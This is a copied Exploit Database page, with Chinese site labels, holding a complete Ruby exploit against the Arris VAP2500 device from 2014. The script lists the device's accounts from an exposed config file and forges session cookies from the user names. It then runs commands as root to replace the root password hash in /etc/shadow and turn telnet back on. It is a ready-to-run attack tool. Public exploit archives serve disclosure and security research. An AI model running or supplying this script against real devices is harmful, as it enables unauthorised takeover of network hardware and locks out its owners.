Arris VAP2500 – Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： HeadlessZeke
  日期： 2014-11-25
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/35372/

• #!/usr/bin/env ruby
  
  require 'net/http'
  require 'digest/md5'
  
  if !ARGV[0]
  puts "Usage: #{$0} <vap2500_ip_address>"
  exit(0)
  end
  
  host = ARGV[0]
  new_pass = "h4x0r3d!"
  
  http = Net::HTTP.new(host).start
  users = nil
  users = http.request_get("/admin.conf").body.split("\n").map! {|user| user.sub(/^(.*?),.*$/,"\\1")}
  
  if users
  puts "[*] found user accounts: #{users.inspect}"
  puts "[*] checking for root privs"
  else
  puts "[!!!] could not find any user accounts. exiting."
  exit(-1)
  end
  
  root_privs = nil
  users.each {|user|
  if http.request_post("/tools_command.php","cmb_header=&txt_command=whoami",{"Cookie" => "p=#{Digest::MD5.hexdigest(user)}"}).body =~ /root/
  puts "[*] root privs found: #{user}"
  root_privs = user
  break
  end
  }
  
  if !root_privs
  puts "[!!!] could not find a root priv account. exiting."
  exit(-1)
  end
  
  puts "[*] modifying root password"
  new_hash = new_pass.crypt("$1$#{new_pass}$").gsub("$","\\$")
  http.request_post("/tools_command.php","cmb_header=&txt_command=sed -i -r \"s/root:[^:]*:(.*)/root:#{new_hash}:\\1/g\" /etc/shadow",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"})
  
  puts "[*] enabling telnet"
  if http.request_post("/tools_command.php","cmb_header=&txt_command=rm /mnt/jffs2/telnet-disabled; sh /etc/init.d/S42inetd start",{"Cookie" => "p=#{Digest::MD5.hexdigest(root_privs)}"}).body =~ /Starting inetd/
  puts "[*] success! telnet to #{host} (user:root pass:#{new_pass})"
  else
  puts "[!!!] couldn't start telnet"
  end